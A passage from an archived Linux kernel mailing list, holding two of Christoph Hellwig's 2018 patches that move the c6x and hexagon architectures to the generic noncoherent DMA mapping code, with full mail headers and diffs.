	id 1fH2x3-0008IU-HF
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 09:58:54 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 93475CC6;
	Fri, 11 May 2018 08:01:04 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 2AF1EC7C
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:01:03 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 003A7E7
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:01:01 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=LBa47MJQbkf0aJ26JQoR/VThlCfY7C/Hn7UBR0S6b2c=;
	b=dSmvg7ItRKiK5nh1HE5E5jRbS
	ax0o4P5i15ECM+tla7IhjH0xv0WnWxTAX8nFQgc1FYv+d5JZ0BE0ellSzDe26at/EajGkHQTSBUOq
	Kihldtp3p2bfuW7lDS2dqi4yihjbopUZhEKWAq01FZvUend0xOo1iPj525EmCNctqDWni30On6PNx
	wcPkvks5mG9BttktslUAbG5B9mxuhC4ylChIcgNRWf5kOwZtt9jZx8rLVHnmTOa7xQV8Bdes0WhbE
	wUq4uQ2qdecBKdgMdrXtKgKuK+ukWxuUN0eNsB/AtuvrcdDRuGaf3su3In2/HNtlPqfJAIbz31Rrj
	93Fcuc3Aw==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH2yi-0007uA-18; Fri, 11 May 2018 08:00:37 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24172 gmane.linux.kernel.cross-arch:44016 gmane.linux.ports.parisc:28599 gmane.linux.ports.sh.devel:57005 gmane.linux.ports.hexagon:1702 gmane.linux.kernel:2764206 gmane.linux.ports.alpha:5027 gmane.linux.ports.sparc:27854 gmane.linux.kernel.arc:3868 gmane.linux.ports.arm.kernel:649155
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24172>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/c6x/Kconfig                   |   3 +
 arch/c6x/include/asm/Kbuild        |   1 +
 arch/c6x/include/asm/dma-mapping.h |  28 ------
 arch/c6x/include/asm/setup.h       |   2 +
 arch/c6x/kernel/Makefile           |   2 +-
 arch/c6x/kernel/dma.c              | 138 -----------------------------
 arch/c6x/mm/dma-coherent.c         |  40 ++++++++-
 7 files changed, 44 insertions(+), 170 deletions(-)
 delete mode 100644 arch/c6x/include/asm/dma-mapping.h
 delete mode 100644 arch/c6x/kernel/dma.c

diff --git a/arch/c6x/Kconfig b/arch/c6x/Kconfig
index 8c088b96e372..bf59855628ac 100644
--- a/arch/c6x/Kconfig
+++ b/arch/c6x/Kconfig
@@ -6,7 +6,10 @@
 
 config C6X
 	def_bool y
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select CLKDEV_LOOKUP
+	select DMA_NONCOHERENT_OPS
 	select GENERIC_ATOMIC64
 	select GENERIC_IRQ_SHOW
 	select HAVE_ARCH_TRACEHOOK
diff --git a/arch/c6x/include/asm/Kbuild b/arch/c6x/include/asm/Kbuild
index fd4c840de837..434600e47662 100644
--- a/arch/c6x/include/asm/Kbuild
+++ b/arch/c6x/include/asm/Kbuild
@@ -5,6 +5,7 @@ generic-y += current.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += dma.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/c6x/include/asm/dma-mapping.h b/arch/c6x/include/asm/dma-mapping.h
deleted file mode 100644
index 05daf1038111..000000000000
--- a/arch/c6x/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- *  Port on Texas Instruments TMS320C6x architecture
- *
- *  Copyright (C) 2004, 2009, 2010, 2011 Texas Instruments Incorporated
- *  Author: Aurelien Jacquiot <aurelien.jacquiot-l0cyMroinI0@public.gmane.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License version 2 as
- *  published by the Free Software Foundation.
- *
- */
-#ifndef _ASM_C6X_DMA_MAPPING_H
-#define _ASM_C6X_DMA_MAPPING_H
-
-extern const struct dma_map_ops c6x_dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &c6x_dma_ops;
-}
-
-extern void coherent_mem_init(u32 start, u32 size);
-void *c6x_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
-		gfp_t gfp, unsigned long attrs);
-void c6x_dma_free(struct device *dev, size_t size, void *vaddr,
-		dma_addr_t dma_handle, unsigned long attrs);
-
-#endif	/* _ASM_C6X_DMA_MAPPING_H */
diff --git a/arch/c6x/include/asm/setup.h b/arch/c6x/include/asm/setup.h
index 852afb209afb..350f34debb19 100644
--- a/arch/c6x/include/asm/setup.h
+++ b/arch/c6x/include/asm/setup.h
@@ -28,5 +28,7 @@ extern unsigned char c6x_fuse_mac[6];
 extern void machine_init(unsigned long dt_ptr);
 extern void time_init(void);
 
+extern void coherent_mem_init(u32 start, u32 size);
+
 #endif /* !__ASSEMBLY__ */
 #endif /* _ASM_C6X_SETUP_H */
diff --git a/arch/c6x/kernel/Makefile b/arch/c6x/kernel/Makefile
index 02f340d7b8fe..fbe74174de87 100644
--- a/arch/c6x/kernel/Makefile
+++ b/arch/c6x/kernel/Makefile
@@ -8,6 +8,6 @@ extra-y := head.o vmlinux.lds
 obj-y := process.o traps.o irq.o signal.o ptrace.o
 obj-y += setup.o sys_c6x.o time.o devicetree.o
 obj-y += switch_to.o entry.o vectors.o c6x_ksyms.o
-obj-y += soc.o dma.o
+obj-y += soc.o
 
 obj-$(CONFIG_MODULES)           += module.o
diff --git a/arch/c6x/kernel/dma.c b/arch/c6x/kernel/dma.c
deleted file mode 100644
index 31e1a9ec3a9c..000000000000
--- a/arch/c6x/kernel/dma.c
+++ /dev/null
@@ -1,138 +0,0 @@
-/*
- *  Copyright (C) 2011 Texas Instruments Incorporated
- *  Author: Mark Salter <msalter-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License version 2 as
- *  published by the Free Software Foundation.
- */
-#include <linux/module.h>
-#include <linux/dma-mapping.h>
-#include <linux/mm.h>
-#include <linux/mm_types.h>
-#include <linux/scatterlist.h>
-
-#include <asm/cacheflush.h>
-
-static void c6x_dma_sync(dma_addr_t handle, size_t size,
-			 enum dma_data_direction dir)
-{
-	unsigned long paddr = handle;
-
-	BUG_ON(!valid_dma_direction(dir));
-
-	switch (dir) {
-	case DMA_FROM_DEVICE:
-		L2_cache_block_invalidate(paddr, paddr + size);
-		break;
-	case DMA_TO_DEVICE:
-		L2_cache_block_writeback(paddr, paddr + size);
-		break;
-	case DMA_BIDIRECTIONAL:
-		L2_cache_block_writeback_invalidate(paddr, paddr + size);
-		break;
-	default:
-		break;
-	}
-}
-
-static dma_addr_t c6x_dma_map_page(struct device *dev, struct page *page,
-		unsigned long offset, size_t size, enum dma_data_direction dir,
-		unsigned long attrs)
-{
-	dma_addr_t handle = virt_to_phys(page_address(page) + offset);
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		c6x_dma_sync(handle, size, dir);
-
-	return handle;
-}
-
-static void c6x_dma_unmap_page(struct device *dev, dma_addr_t handle,
-		size_t size, enum dma_data_direction dir, unsigned long attrs)
-{
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		c6x_dma_sync(handle, size, dir);
-}
-
-static int c6x_dma_map_sg(struct device *dev, struct scatterlist *sglist,
-		int nents, enum dma_data_direction dir, unsigned long attrs)
-{
-	struct scatterlist *sg;
-	int i;
-
-	for_each_sg(sglist, sg, nents, i) {
-		sg->dma_address = sg_phys(sg);
-		if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-			c6x_dma_sync(sg->dma_address, sg->length, dir);
-	}
-
-	return nents;
-}
-
-static void c6x_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
-		  int nents, enum dma_data_direction dir, unsigned long attrs)
-{
-	struct scatterlist *sg;
-	int i;
-
-	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-		return;
-
-	for_each_sg(sglist, sg, nents, i)
-		c6x_dma_sync(sg_dma_address(sg), sg->length, dir);
-}
-
-static void c6x_dma_sync_single_for_cpu(struct device *dev, dma_addr_t handle,
-		size_t size, enum dma_data_direction dir)
-{
-	c6x_dma_sync(handle, size, dir);
-
-}
-
-static void c6x_dma_sync_single_for_device(struct device *dev,
-		dma_addr_t handle, size_t size, enum dma_data_direction dir)
-{
-	c6x_dma_sync(handle, size, dir);
-
-}
-
-static void c6x_dma_sync_sg_for_cpu(struct device *dev,
-		struct scatterlist *sglist, int nents,
-		enum dma_data_direction dir)
-{
-	struct scatterlist *sg;
-	int i;
-
-	for_each_sg(sglist, sg, nents, i)
-		c6x_dma_sync_single_for_cpu(dev, sg_dma_address(sg),
-					sg->length, dir);
-
-}
-
-static void c6x_dma_sync_sg_for_device(struct device *dev,
-		struct scatterlist *sglist, int nents,
-		enum dma_data_direction dir)
-{
-	struct scatterlist *sg;
-	int i;
-
-	for_each_sg(sglist, sg, nents, i)
-		c6x_dma_sync_single_for_device(dev, sg_dma_address(sg),
-					   sg->length, dir);
-
-}
-
-const struct dma_map_ops c6x_dma_ops = {
-	.alloc			= c6x_dma_alloc,
-	.free			= c6x_dma_free,
-	.map_page		= c6x_dma_map_page,
-	.unmap_page		= c6x_dma_unmap_page,
-	.map_sg			= c6x_dma_map_sg,
-	.unmap_sg		= c6x_dma_unmap_sg,
-	.sync_single_for_device	= c6x_dma_sync_single_for_device,
-	.sync_single_for_cpu	= c6x_dma_sync_single_for_cpu,
-	.sync_sg_for_device	= c6x_dma_sync_sg_for_device,
-	.sync_sg_for_cpu	= c6x_dma_sync_sg_for_cpu,
-};
-EXPORT_SYMBOL(c6x_dma_ops);
diff --git a/arch/c6x/mm/dma-coherent.c b/arch/c6x/mm/dma-coherent.c
index 95e38ad27c69..d0a8e0c4b27e 100644
--- a/arch/c6x/mm/dma-coherent.c
+++ b/arch/c6x/mm/dma-coherent.c
@@ -19,10 +19,12 @@
 #include <linux/bitops.h>
 #include <linux/module.h>
 #include <linux/interrupt.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/memblock.h>
 
+#include <asm/cacheflush.h>
 #include <asm/page.h>
+#include <asm/setup.h>
 
 /*
  * DMA coherent memory management, can be redefined using the memdma=
@@ -73,7 +75,7 @@ static void __free_dma_pages(u32 addr, int order)
  * Allocate DMA coherent memory space and return both the kernel
  * virtual and DMA address for that space.
  */
-void *c6x_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
 		gfp_t gfp, unsigned long attrs)
 {
 	u32 paddr;
@@ -98,7 +100,7 @@ void *c6x_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
 /*
  * Free DMA coherent memory as defined by the above mapping.
  */
-void c6x_dma_free(struct device *dev, size_t size, void *vaddr,
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
 		dma_addr_t dma_handle, unsigned long attrs)
 {
 	int order;
@@ -139,3 +141,35 @@ void __init coherent_mem_init(phys_addr_t start, u32 size)
 	dma_bitmap = phys_to_virt(bitmap_phys);
 	memset(dma_bitmap, 0, dma_pages * PAGE_SIZE);
 }
+
+static void c6x_dma_sync(struct device *dev, phys_addr_t paddr, size_t size,
+		enum dma_data_direction dir)
+{
+	BUG_ON(!valid_dma_direction(dir));
+
+	switch (dir) {
+	case DMA_FROM_DEVICE:
+		L2_cache_block_invalidate(paddr, paddr + size);
+		break;
+	case DMA_TO_DEVICE:
+		L2_cache_block_writeback(paddr, paddr + size);
+		break;
+	case DMA_BIDIRECTIONAL:
+		L2_cache_block_writeback_invalidate(paddr, paddr + size);
+		break;
+	default:
+		break;
+	}
+}
+
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
+{
+	return c6x_dma_sync(dev, paddr, size, dir);
+}
+
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
+{
+	return c6x_dma_sync(dev, paddr, size, dir);
+}
-- 
2.17.0


From - Thu Nov 08 21:41:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 06/20] hexagon: use generic dma_noncoherent_ops
Date: Fri, 11 May 2018 09:59:31 +0200
Lines: 280
Approved: news@gmane.org
Message-ID: <20180511075945.16548-7-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025547 583 195.159.176.226 (11 May 2018 07:59:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 07:59:07 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 09:59:01 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH2x9-0008Q5-TS
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 09:59:00 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id EEC54C98;
	Fri, 11 May 2018 08:01:10 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 7E2AEC7C
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:01:09 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 90E7B6A2
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:01:08 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=i5FdiX6TUogVrkdkgLI5a9WYrquagsY8rtpvzZoZSeE=;
	b=Mx5HDTMXOQ3x4oXhR6ZV21RSW
	yKJPo+5VK9EbjFjxRi98obyH186QVMbcun1oNTEjPMHXDNeKl9Dvl3zO75Gu9DmXwEmYtAnx7plqk
	ypO/hw2u7bXcV77gAwD4GzLcbjbGNrP+lv6pZbzDVZHHvc+gD0apqwP5wA9UIyjX5h20vaukTWTsE
	W0fi75v3JNpGAXQxstSWrtQyKLBXLvG16P+sobiffaWvgskBio5oJRg4alXsIWSM95Hou7ChglkSi
	EnilxtqcKbWTSQ7o65sC8TbNR03hyY2DZZcNMM+dzIuw1HW5qUmKPdJ9UNnvqTu8t8TS9Ab0LM3fN
	GdSdjhlSg==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH2yn-0007wl-Kn; Fri, 11 May 2018 08:00:42 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24173 gmane.linux.kernel.cross-arch:44017 gmane.linux.ports.parisc:28600 gmane.linux.ports.sh.devel:57006 gmane.linux.ports.hexagon:1703 gmane.linux.kernel:2764207 gmane.linux.ports.alpha:5028 gmane.linux.ports.sparc:27855 gmane.linux.kernel.arc:3869 gmane.linux.ports.arm.kernel:649156
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24173>

Switch to the generic noncoherent direct mapping implementation.

This removes the previous sync_single_for_cpu implementation, which looks
bogus given that no syncing is happening in the similar but more
important unmap_single case.

This adds the previously missing sync_sg_for_device implementation that
matches the pre-existing sync_single_for_device implementation.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/hexagon/Kconfig                   |   2 +
 arch/hexagon/include/asm/Kbuild        |   1 +
 arch/hexagon/include/asm/dma-mapping.h |  40 -------
 arch/hexagon/kernel/dma.c              | 143 ++-----------------------
 4 files changed, 11 insertions(+), 175 deletions(-)
 delete mode 100644 arch/hexagon/include/asm/dma-mapping.h

diff --git a/arch/hexagon/Kconfig b/arch/hexagon/Kconfig
index 37adb2003033..bcbdcb32935c 100644
--- a/arch/hexagon/Kconfig
+++ b/arch/hexagon/Kconfig
@@ -4,6 +4,7 @@ comment "Linux Kernel Configuration for Hexagon"
 
 config HEXAGON
 	def_bool y
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select HAVE_OPROFILE
 	# Other pending projects/to-do items.
 	# select HAVE_REGS_AND_STACK_ACCESS_API
@@ -28,6 +29,7 @@ config HEXAGON
 	select GENERIC_CLOCKEVENTS_BROADCAST
 	select MODULES_USE_ELF_RELA
 	select GENERIC_CPU_DEVICES
+	select DMA_NONCOHERENT_OPS
 	---help---
 	  Qualcomm Hexagon is a processor architecture designed for high
 	  performance and low power across a wide variety of applications.
diff --git a/arch/hexagon/include/asm/Kbuild b/arch/hexagon/include/asm/Kbuild
index e9743f689fb8..843a8086e980 100644
--- a/arch/hexagon/include/asm/Kbuild
+++ b/arch/hexagon/include/asm/Kbuild
@@ -5,6 +5,7 @@ generic-y += bugs.h
 generic-y += current.h
 generic-y += device.h
 generic-y += div64.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += extable.h
 generic-y += fb.h
diff --git a/arch/hexagon/include/asm/dma-mapping.h b/arch/hexagon/include/asm/dma-mapping.h
deleted file mode 100644
index 263f6acbfb0f..000000000000
--- a/arch/hexagon/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * DMA operations for the Hexagon architecture
- *
- * Copyright (c) 2010-2011, The Linux Foundation. All rights reserved.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License version 2 and
- * only version 2 as published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
- * 02110-1301, USA.
- */
-
-#ifndef _ASM_DMA_MAPPING_H
-#define _ASM_DMA_MAPPING_H
-
-#include <linux/types.h>
-#include <linux/cache.h>
-#include <linux/mm.h>
-#include <linux/scatterlist.h>
-#include <linux/dma-debug.h>
-#include <asm/io.h>
-
-struct device;
-
-extern const struct dma_map_ops *dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return dma_ops;
-}
-
-#endif
diff --git a/arch/hexagon/kernel/dma.c b/arch/hexagon/kernel/dma.c
index 77459df34e2e..ffc4ae8e126f 100644
--- a/arch/hexagon/kernel/dma.c
+++ b/arch/hexagon/kernel/dma.c
@@ -18,32 +18,19 @@
  * 02110-1301, USA.
  */
 
-#include <linux/dma-mapping.h>
-#include <linux/dma-direct.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/bootmem.h>
 #include <linux/genalloc.h>
-#include <asm/dma-mapping.h>
 #include <linux/module.h>
 #include <asm/page.h>
 
-#define HEXAGON_MAPPING_ERROR	0
-
-const struct dma_map_ops *dma_ops;
-EXPORT_SYMBOL(dma_ops);
-
-static inline void *dma_addr_to_virt(dma_addr_t dma_addr)
-{
-	return phys_to_virt((unsigned long) dma_addr);
-}
-
 static struct gen_pool *coherent_pool;
 
 
 /* Allocates from a pool of uncached memory that was reserved at boot time */
 
-static void *hexagon_dma_alloc_coherent(struct device *dev, size_t size,
-				 dma_addr_t *dma_addr, gfp_t flag,
-				 unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_addr,
+		gfp_t flag, unsigned long attrs)
 {
 	void *ret;
 
@@ -75,58 +62,17 @@ static void *hexagon_dma_alloc_coherent(struct device *dev, size_t size,
 	return ret;
 }
 
-static void hexagon_free_coherent(struct device *dev, size_t size, void *vaddr,
-				  dma_addr_t dma_addr, unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_addr, unsigned long attrs)
 {
 	gen_pool_free(coherent_pool, (unsigned long) vaddr, size);
 }
 
-static int check_addr(const char *name, struct device *hwdev,
-		      dma_addr_t bus, size_t size)
-{
-	if (hwdev && hwdev->dma_mask && !dma_capable(hwdev, bus, size)) {
-		if (*hwdev->dma_mask >= DMA_BIT_MASK(32))
-			printk(KERN_ERR
-				"%s: overflow %Lx+%zu of device mask %Lx\n",
-				name, (long long)bus, size,
-				(long long)*hwdev->dma_mask);
-		return 0;
-	}
-	return 1;
-}
-
-static int hexagon_map_sg(struct device *hwdev, struct scatterlist *sg,
-			  int nents, enum dma_data_direction dir,
-			  unsigned long attrs)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	struct scatterlist *s;
-	int i;
-
-	WARN_ON(nents == 0 || sg[0].length == 0);
-
-	for_each_sg(sg, s, nents, i) {
-		s->dma_address = sg_phys(s);
-		if (!check_addr("map_sg", hwdev, s->dma_address, s->length))
-			return 0;
-
-		s->dma_length = s->length;
+	void *addr = phys_to_virt(paddr);
 
-		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-			continue;
-
-		flush_dcache_range(dma_addr_to_virt(s->dma_address),
-				   dma_addr_to_virt(s->dma_address + s->length));
-	}
-
-	return nents;
-}
-
-/*
- * address is virtual
- */
-static inline void dma_sync(void *addr, size_t size,
-			    enum dma_data_direction dir)
-{
 	switch (dir) {
 	case DMA_TO_DEVICE:
 		hexagon_clean_dcache_range((unsigned long) addr,
